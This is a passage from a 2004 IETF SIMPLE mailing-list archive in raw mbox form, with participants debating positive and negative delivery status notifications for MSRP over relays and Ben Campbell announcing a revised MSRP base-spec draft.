	id 1B8rJJ-0005qO-Rx; Wed, 31 Mar 2004 20:48:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8rJ3-0005q0-Nf
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 20:47:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26125
	for <simple@ietf.org>; Wed, 31 Mar 2004 20:47:42 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8rJ1-00032J-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:47:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8rI6-000303-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:46:47 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8rHj-0002xd-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:46:23 -0500
Received: from dynamicsoft.com (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i311jfh21641;
	Wed, 31 Mar 2004 19:45:41 -0600
Message-ID: <406B743E.9090703@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: oritl@microsoft.com, vkg@lucent.com, vikas@arciis.com, simple@ietf.org,
        rohan@cisco.com, aki.niemi@nokia.com
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <2038BCC78B1AD641891A0D1AE133DBB701797870@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797870@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 19:45:34 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I don't think so. Imagine the following scenario:

A---R1---R2---B

A sends a critically important message to B, telling B to buy stock in 
messaging companies.

A sends to R1 successfully, and R1 sends to R2 successfully. But R2 
fails to send to B. So he tries to send a negative DSN to A via R1. But 
it turns out the failure killed all connectivity to and from R2, so he 
cannot send it.

The moral is, DSNs can fail just like any other kind of message. So if a 
message absolutely positively must be delivered, you need to be able to 
request positive DSN. Then A can at least notice it did not receive a 
DSN, and act accordingly.


hisham.khartabil@nokia.com wrote:
> My question was: How useful is it to have both notification modes (positive and negative) for session IMs?  Isn't notification on failure enough?
> 
> /Hisham
> 
> 
>>-----Original Message-----
>>From: ext Ben Campbell [mailto:bcampbell@dynamicsoft.com]
>>Sent: 01.April.2004 01:45
>>To: Orit Levin
>>Cc: Khartabil Hisham (Nokia-TP-MSW/Helsinki); vkg@lucent.com;
>>vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
>>(Nokia-M/Espoo)
>>Subject: Re: [Simple] return receipt and delivery status notification
>>for MSRP
>>
>>
>>
>>As Orit says, DSN will be very important for MSRP.
>>
>>The current thinking is that MSRP relays will be session 
>>stateless, and 
>>that transactions are entirely hop-by-hop. The relay 
>>semantics would be 
>>similar to those of the SIMS draft, with MSRP syntax.
>>
>>As Orit hinted, this means that a transaction response is merely an 
>>indication that the transaction succeeded, not that the message has 
>>reached its destination. So in non peer-to-peer sessions, DSN 
>>is critical.
>>
>>We do expect it to be optional, as it is much less useful in the 
>>peer-to-peer case, where is just constitutes redundant messaging.
>>
>>Orit Levin wrote:
>>
>>>Hisham,
>>>It is VERY useful because
>>>
>>>1. MSRP hop-by-hop positive acknowledge doesn't tell you whether the
>>>message was actually delivered end-to-end.
>>>2. MSRP hop-by-hop application-timer-based mechanism 
>>
>>doesn't prevent you
>>
>>>from getting negative acknowledge in a case when the message was
>>>actually delivered to the destination. In other words, it 
>>
>>doesn't solve
>>
>>>a duplication problem.
>>>
>>>I would like to add the requirement that the "end-to-end" 
>>
>>DSN receipt
>>
>>>needs to be requested per message (not negotiated for the 
>>
>>whole session
>>
>>>for all messages). It will allow for writing different IM behaviors
>>>using the same mechanism. Such as:
>>>
>>>1. Loose IM session: all the user messages are sent without 
>>
>>receipt, but
>>
>>>the application sends a heartbeat message with requesting a 
>>
>>receipt for
>>
>>>each.
>>>2. Typical IM session: For all user messages a receipt is 
>>
>>requested but
>>
>>>the indication messages (e.g. "The user is typing") are delivered
>>>without any receipt.
>>>
>>>Thanks,
>>>Orit.
>>>
>>>-----Original Message-----
>>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] 
>>
>>On Behalf Of
>>
>>>hisham.khartabil@nokia.com
>>>Sent: Wednesday, March 31, 2004 9:26 AM
>>>To: vkg@lucent.com
>>>Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com;
>>>aki.niemi@nokia.com
>>>Subject: RE: [Simple] return receipt and delivery status 
>>
>>notification
>>
>>>for MSRP
>>>
>>>This is a good summary, although point 4 can be debatable: 
>>
>>How useful is
>>
>>>it to request receive notification in session mode?
>>>
>>>/Hisham
>>>
>>>
>>>
>>>>-----Original Message-----
>>>>From: ext Vijay K. Gurbani [mailto:vkg@lucent.com]
>>>>Sent: 04.March.2004 16:53
>>>>To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
>>>>Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
>>>>(Nokia-M/Espoo)
>>>>Subject: Re: [Simple] return receipt and delivery status 
>>
>>notification 
>>
>>>>for MSRP
>>>>
>>>>
>>>>
>>>>hisham.khartabil@nokia.com wrote:
>>>>
>>>>
>>>>
>>>>>It is optional. If it is annoying to you, then you don't request a 
>>>>>delivery notification. It is not every time and it is not 
>>
>>mandatory.
>>
>>>>So, just to be pedantic, please correct me if my summary below is 
>>>>wrong:
>>>>
>>>>  1/ We are interested in DSNs at the _user_ level, not the
>>>>     _protocol_ level (i.e. the transactional model at the
>>>>     protocol level is sufficient for protocol state
>>>>     machines to figure out if an IM was delivered to the
>>>>     next hop successfully or not).
>>>>  2/ We should design protocol provisions such that a positive
>>>>     acknowledgement DSN model is supported (let me know
>>>>     the current state of the IM: queued, delivered, read,
>>>>     being responded to, ...).
>>>>  3/ We should design protocol provisions such that a negative
>>>>     acknowledgement DSN model is supported (send it and
>>>>     forget it unless something drastic happens, then
>>>>     let me know).
>>>>  4/ Both 2 and 3 should apply to page mode and session
>>>>     mode IMs.
>>>>  5/ Both 2 and 3 should be configurable by the sending
>>>>     user.
>>>>
>>>>Is this accurate?
>>>>
>>>>Thanks,
>>>>
>>>>- vijay
>>>>--
>>>>Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
>>>>Wireless Networks Group/Internet Software and Services Lucent 
>>>>Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
>>>>Naperville, Illinois 60566     Voice: +1 630 224 0216
>>>>
>>>
>>>
>>>_______________________________________________
>>>Simple mailing list
>>>Simple@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/simple
>>>
>>>_______________________________________________
>>>Simple mailing list
>>>Simple@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/simple
>>
>>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 20:50:14 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26188
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 20:50:14 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8rL0-00067C-Rt
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 20:49:47 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i311nk65023502
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 20:49:46 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8rL0-00066z-Ie
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 20:49:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26181
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 20:49:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8rKy-00037Y-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 20:49:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8rK1-00035M-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 20:48:46 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8rJP-00033A-00; Wed, 31 Mar 2004 20:48:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8rJJ-0005qO-Rx; Wed, 31 Mar 2004 20:48:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8rJ3-0005q0-Nf
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 20:47:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26125
	for <simple@ietf.org>; Wed, 31 Mar 2004 20:47:42 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8rJ1-00032J-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:47:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8rI6-000303-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:46:47 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8rHj-0002xd-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:46:23 -0500
Received: from dynamicsoft.com (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i311jfh21641;
	Wed, 31 Mar 2004 19:45:41 -0600
Message-ID: <406B743E.9090703@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: oritl@microsoft.com, vkg@lucent.com, vikas@arciis.com, simple@ietf.org,
        rohan@cisco.com, aki.niemi@nokia.com
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <2038BCC78B1AD641891A0D1AE133DBB701797870@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB701797870@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 19:45:34 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I don't think so. Imagine the following scenario:

A---R1---R2---B

A sends a critically important message to B, telling B to buy stock in 
messaging companies.

A sends to R1 successfully, and R1 sends to R2 successfully. But R2 
fails to send to B. So he tries to send a negative DSN to A via R1. But 
it turns out the failure killed all connectivity to and from R2, so he 
cannot send it.

The moral is, DSNs can fail just like any other kind of message. So if a 
message absolutely positively must be delivered, you need to be able to 
request positive DSN. Then A can at least notice it did not receive a 
DSN, and act accordingly.


hisham.khartabil@nokia.com wrote:
> My question was: How useful is it to have both notification modes (positive and negative) for session IMs?  Isn't notification on failure enough?
> 
> /Hisham
> 
> 
>>-----Original Message-----
>>From: ext Ben Campbell [mailto:bcampbell@dynamicsoft.com]
>>Sent: 01.April.2004 01:45
>>To: Orit Levin
>>Cc: Khartabil Hisham (Nokia-TP-MSW/Helsinki); vkg@lucent.com;
>>vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
>>(Nokia-M/Espoo)
>>Subject: Re: [Simple] return receipt and delivery status notification
>>for MSRP
>>
>>
>>
>>As Orit says, DSN will be very important for MSRP.
>>
>>The current thinking is that MSRP relays will be session 
>>stateless, and 
>>that transactions are entirely hop-by-hop. The relay 
>>semantics would be 
>>similar to those of the SIMS draft, with MSRP syntax.
>>
>>As Orit hinted, this means that a transaction response is merely an 
>>indication that the transaction succeeded, not that the message has 
>>reached its destination. So in non peer-to-peer sessions, DSN 
>>is critical.
>>
>>We do expect it to be optional, as it is much less useful in the 
>>peer-to-peer case, where is just constitutes redundant messaging.
>>
>>Orit Levin wrote:
>>
>>>Hisham,
>>>It is VERY useful because
>>>
>>>1. MSRP hop-by-hop positive acknowledge doesn't tell you whether the
>>>message was actually delivered end-to-end.
>>>2. MSRP hop-by-hop application-timer-based mechanism 
>>
>>doesn't prevent you
>>
>>>from getting negative acknowledge in a case when the message was
>>>actually delivered to the destination. In other words, it 
>>
>>doesn't solve
>>
>>>a duplication problem.
>>>
>>>I would like to add the requirement that the "end-to-end" 
>>
>>DSN receipt
>>
>>>needs to be requested per message (not negotiated for the 
>>
>>whole session
>>
>>>for all messages). It will allow for writing different IM behaviors
>>>using the same mechanism. Such as:
>>>
>>>1. Loose IM session: all the user messages are sent without 
>>
>>receipt, but
>>
>>>the application sends a heartbeat message with requesting a 
>>
>>receipt for
>>
>>>each.
>>>2. Typical IM session: For all user messages a receipt is 
>>
>>requested but
>>
>>>the indication messages (e.g. "The user is typing") are delivered
>>>without any receipt.
>>>
>>>Thanks,
>>>Orit.
>>>
>>>-----Original Message-----
>>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] 
>>
>>On Behalf Of
>>
>>>hisham.khartabil@nokia.com
>>>Sent: Wednesday, March 31, 2004 9:26 AM
>>>To: vkg@lucent.com
>>>Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com;
>>>aki.niemi@nokia.com
>>>Subject: RE: [Simple] return receipt and delivery status 
>>
>>notification
>>
>>>for MSRP
>>>
>>>This is a good summary, although point 4 can be debatable: 
>>
>>How useful is
>>
>>>it to request receive notification in session mode?
>>>
>>>/Hisham
>>>
>>>
>>>
>>>>-----Original Message-----
>>>>From: ext Vijay K. Gurbani [mailto:vkg@lucent.com]
>>>>Sent: 04.March.2004 16:53
>>>>To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
>>>>Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
>>>>(Nokia-M/Espoo)
>>>>Subject: Re: [Simple] return receipt and delivery status 
>>
>>notification 
>>
>>>>for MSRP
>>>>
>>>>
>>>>
>>>>hisham.khartabil@nokia.com wrote:
>>>>
>>>>
>>>>
>>>>>It is optional. If it is annoying to you, then you don't request a 
>>>>>delivery notification. It is not every time and it is not 
>>
>>mandatory.
>>
>>>>So, just to be pedantic, please correct me if my summary below is 
>>>>wrong:
>>>>
>>>>  1/ We are interested in DSNs at the _user_ level, not the
>>>>     _protocol_ level (i.e. the transactional model at the
>>>>     protocol level is sufficient for protocol state
>>>>     machines to figure out if an IM was delivered to the
>>>>     next hop successfully or not).
>>>>  2/ We should design protocol provisions such that a positive
>>>>     acknowledgement DSN model is supported (let me know
>>>>     the current state of the IM: queued, delivered, read,
>>>>     being responded to, ...).
>>>>  3/ We should design protocol provisions such that a negative
>>>>     acknowledgement DSN model is supported (send it and
>>>>     forget it unless something drastic happens, then
>>>>     let me know).
>>>>  4/ Both 2 and 3 should apply to page mode and session
>>>>     mode IMs.
>>>>  5/ Both 2 and 3 should be configurable by the sending
>>>>     user.
>>>>
>>>>Is this accurate?
>>>>
>>>>Thanks,
>>>>
>>>>- vijay
>>>>--
>>>>Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
>>>>Wireless Networks Group/Internet Software and Services Lucent 
>>>>Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
>>>>Naperville, Illinois 60566     Voice: +1 630 224 0216
>>>>
>>>
>>>
>>>_______________________________________________
>>>Simple mailing list
>>>Simple@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/simple
>>>
>>>_______________________________________________
>>>Simple mailing list
>>>Simple@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/simple
>>
>>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 22:05:45 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA28917
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 22:05:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8sWY-0000XX-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 22:05:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8sVe-0000T6-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 22:04:51 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8sV6-0000QS-00; Wed, 31 Mar 2004 22:04:16 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8sUs-0004kJ-08; Wed, 31 Mar 2004 22:04:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8sUb-0004jc-Pn
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 22:03:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA28857
	for <simple@ietf.org>; Wed, 31 Mar 2004 22:03:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8sUY-0000OW-00
	for simple@ietf.org; Wed, 31 Mar 2004 22:03:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8sTd-0000LQ-00
	for simple@ietf.org; Wed, 31 Mar 2004 22:02:46 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8sSl-0000Ec-00
	for simple@ietf.org; Wed, 31 Mar 2004 22:01:51 -0500
Received: from dynamicsoft.com (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i3131Mh22775
	for <simple@ietf.org>; Wed, 31 Mar 2004 21:01:22 -0600
Message-ID: <406B85FB.1070800@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Simple WG <simple@ietf.org>
Subject: Re: [Simple] MSRP update
References: <406B538C.3010408@dynamicsoft.com>
In-Reply-To: <406B538C.3010408@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 21:01:15 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

The aformentioned draft has been submitted. For the impatient, you can 
find it at:

http://www.nostrum.com/~ben/draft-ietf-simple-message-sessions-04.txt

Or for the HTML inclined:

http://www.nostrum.com/~ben/draft-ietf-simple-message-sessions-04.html

...until it hits the repository.

Thanks!

Ben.

Ben Campbell wrote:
> The chairs have requested that we put MSRP on a "release early and 
> often" track. That is, rather than waiting until I have all the planned 
> updates completed, I will put out a revision for each significant update.
> 
> Therefore I will be submitting a revised MSRP base spec draft either 
> this evening (Wednesday) or Thursday, followed by a series of revisions 
> over the next few weeks.
> 
> This revision will include changes to MSRP URL handling and connection 
> handling needed to allow relays to be used. As we discussed in Korea, it 
> will not describe relays themselves; this will be handled in a separate 
> draft. But there were a number of base specification changes needed to 
> make it possible to integrate relays.
> 
> We are working from a number of assumptions about how relays will work, 
> even though the MSRP relay draft is pending:
> 
> --Relays are session-stateless
> 
> --Relay chains are source routed, with the route negotiated in the SDP.
> 
> -- Transactions are hop-by-hop, and downstream transactions do not 
> depend on upstream transactions.
> 
> Specific changes in this revision:
> 
> -- The answerer always opens the TCP connection to the offerer. The 
> comedia like direction negotiation is removed.
> 
> --  Shared connections are allowed.
> 
> --  MSRP URLs identify a destination within a session, rather than the 
> entire session itself. MSRP requests will now have a To field describing 
> the destination, and a From field describing the source. The sdp 
> negotiation allows each endpoint to contribute its URL.
> 
> -- To enable routing across relays, an SDP request can carry a list of 
> URLs. We expect this to be used with relays to describe a route across 
> relays. The base spec will not say how one would determine a list of 
> more than one URL, but it does require an endpoint to be able to receive 
> such a list and process it reasonably. Basically, if you receive a list, 
> you put the entire list in To headers on SEND requests. This will work 
> even if the receiver wants to contribute their own relays to the path, 
> but that belongs in the relay spec, not the base.
> 
> There are still a number of outstanding items we discussed in Korea,that 
> will be required to allow relay integration, but are not covered by this 
> revision:
> 
> -- DSN handling and negotiation. Since relays will be able to originate 
> DSNs, even endpoints that don't understand relays will need to be able 
> to receive them.
> 
> -- Chunking
> 
> -- Using message bounderies instead of length fields for message 
> framing, so you can abort a request without destroying framing for the 
> connection.
> 
> -- Orit requested that we allow a mode where there are no transaction 
> responses. She has agreed to document the motivation for this. I will 
> hold any changes based on this request until after the work group has a 
> chance to discuss that document.
> 
> -- a few outstanding, non-controversial items, such as allowing all 
> standard MIME headers.
> 
> Watch this channel for revisions covering these items in the very near 
> future.
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 22:06:17 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA28943
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 22:06:17 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8sWc-0005Di-Eb
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 22:05:50 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i3135o5u020066
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 22:05:50 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8sWc-0005DZ-6S
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 22:05:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA28935
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 22:05:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8sWZ-0000Xc-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 22:05:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8sVf-0000TD-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 22:04:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8sV6-0000QS-00; Wed, 31 Mar 2004 22:04:16 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8sUs-0004kJ-08; Wed, 31 Mar 2004 22:04:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8sUb-0004jc-Pn
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 22:03:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA28857
	for <simple@ietf.org>; Wed, 31 Mar 2004 22:03:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8sUY-0000OW-00
	for simple@ietf.org; Wed, 31 Mar 2004 22:03:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8sTd-0000LQ-00
	for simple@ietf.org; Wed, 31 Mar 2004 22:02:46 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8sSl-0000Ec-00
	for simple@ietf.org; Wed, 31 Mar 2004 22:01:51 -0500
Received: from dynamicsoft.com (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i3131Mh22775
	for <simple@ietf.org>; Wed, 31 Mar 2004 21:01:22 -0600
Message-ID: <406B85FB.1070800@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Simple WG <simple@ietf.org>
Subject: Re: [Simple] MSRP update
References: <406B538C.3010408@dynamicsoft.com>
In-Reply-To: <406B538C.3010408@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 21:01:15 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

The aformentioned draft has been submitted. For the impatient, you can 
find it at:

http://www.nostrum.com/~ben/draft-ietf-simple-message-sessions-04.txt

Or for the HTML inclined:

